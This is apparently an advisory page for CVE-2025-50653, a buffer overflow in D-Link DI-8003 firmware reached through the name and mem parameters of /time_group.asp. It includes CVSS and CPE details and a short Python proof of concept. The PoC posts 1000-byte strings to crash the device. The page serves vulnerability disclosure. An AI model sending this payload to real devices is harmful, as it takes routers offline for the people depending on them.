Security Vulnerability Report
中文
CVE-2025-50653 CVSS 7.5 HIGH

CVE-2025-50653

Published: 2026-04-08 19:24:16
Last Modified: 2026-04-22 16:16:50

Description

A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to improper handling of the name and mem parameters in the /time_group.asp endpoint.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:di-8003_firmware:16.07.26a1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_ip): """ Proof of Concept for CVE-2025-50653 Triggers buffer overflow in D-Link DI-8003 via /time_group.asp """ target_url = f"http://{target_ip}/time_group.asp" # Create a long payload to trigger the overflow # Adjust length as necessary based on specific buffer size (e.g., 1000 bytes) payload = "A" * 1000 # Parameters vulnerable to buffer overflow data = { "name": payload, "mem": payload } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response status code: {response.status_code}") # If the service crashes, the connection might be reset or timeout if response.status_code == 200: print("Request sent, check device status for crash.") else: print("Device responded unexpectedly.") except requests.exceptions.RequestException as e: print(f"Connection error (possible DoS): {e}") if __name__ == "__main__": # Replace with the target IP address target = "192.168.0.1" exploit_poc(target)

References

Raw JSON Data

JSON
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